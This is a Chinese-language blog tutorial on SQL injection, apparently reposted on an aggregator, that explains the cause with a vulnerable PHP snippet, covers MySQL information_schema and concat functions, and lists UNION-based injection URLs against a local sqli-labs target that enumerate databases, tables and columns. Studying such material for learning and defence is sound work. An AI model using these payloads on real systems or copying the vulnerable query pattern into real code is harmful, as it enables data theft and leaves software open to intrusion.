SQL注入学习

Posted 小熊猫学步

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入学习相关的知识,希望对你有一定的参考价值。

喜欢就关注我吧,订阅更多最新消息

SQL注入学习(一)
SQL注入学习
SQL注入学习(一)

很多人并没有耐心和足够的时间学习,而是想一步登天!

--- 记录一段学习过程


SQL注入学习(一)
什么是SQL注入或者注入产生的原因?
SQL注入学习(一)


首先简单介绍一下SQL注入的成因。开发人员在开发过程中,直接将URL中的参数、HTTP Body中的Post参数或其他外来的用户输入(如Cookies,UserAgent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句。

例如:php

$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);

mysql基本操作

    show database; 查看数据库

    use db_name ; 使用db_name数据库

    show tables; 查看当前数据库的数据表

    desc tables_name; 查看tables_name表结构

SQL注入学习(一)
SQL注入学习(一)


SQL注入学习(一)
注入常用函数
SQL注入学习(一)


注入常用函数:

    1. version()——MySQL 版本

    2. user()——数据库用户名

    3. database()——数据库名

    4. @@datadir——数据库路径

    5. @@version_compile_os——操作系统版本


SQL注入学习(一)


SQL注入学习(一)
union
SQL注入学习(一)


UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,

UNION 内部的 SELECT 语句必须拥有相同数量的列。

列也必须拥有相似的数据类型。

同时,每条 SELECT 语句中的 列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1UNIONSELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。



SQL注入学习(一)
information_schema 系统自带库
SQL注入学习(一)


information_schema 

系统自带库,该库存储了数据库的所有信息,包括所有的库名,表名,字段名

-----------schemas 存储库

  tables表存储表名、常用字段有一下两个:

-----------table_name 表名

-----------table_schema 字段名

 columns 表存储字段名,常用字段有三个:

------------column_name 存储字段名

------------column_schem 字段所属库

------------column_table 字段所属表

SQL注入学习(一)
information_schema
SQL注入学习(一)


Mysql 系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。

以下为一般的流程。

猜数据库

select schema_name from information_schema.schemata

猜某库的数据表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

Select column_name from information_schema.columns where table_name=’xxxxx’

获取某列的内容

Select *** from ****


SQL注入学习(一)
concat函数
SQL注入学习(一)


concat(str1,str2,...)——没有分隔符地连接字符串

concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

*多用于列出某一列或某几列的全部数据

例子

http://127.0.0.1/sqllib/Less-1/?id=-1’union select 1,group_concat(schema _name),3 from information_schema.schemata
SQL注入学习(一)

union+ information_schema+concat套装语句

http://***/?id=-1' union select 1,2,3 --+http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+http://192.168.153.139/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+



扫码关注我
每天不一定有最新消息




以上是关于SQL注入学习的主要内容,如果未能解决你的问题,请参考以下文章

MyBatis如何防止SQL注入

MyBatis怎么防止SQL注入

2020/1/27代码审计学习

mybatis以及预编译如何防止SQL注入

手机只需发条消息即可开始大规模SQL注入攻击

SQL注入学习整理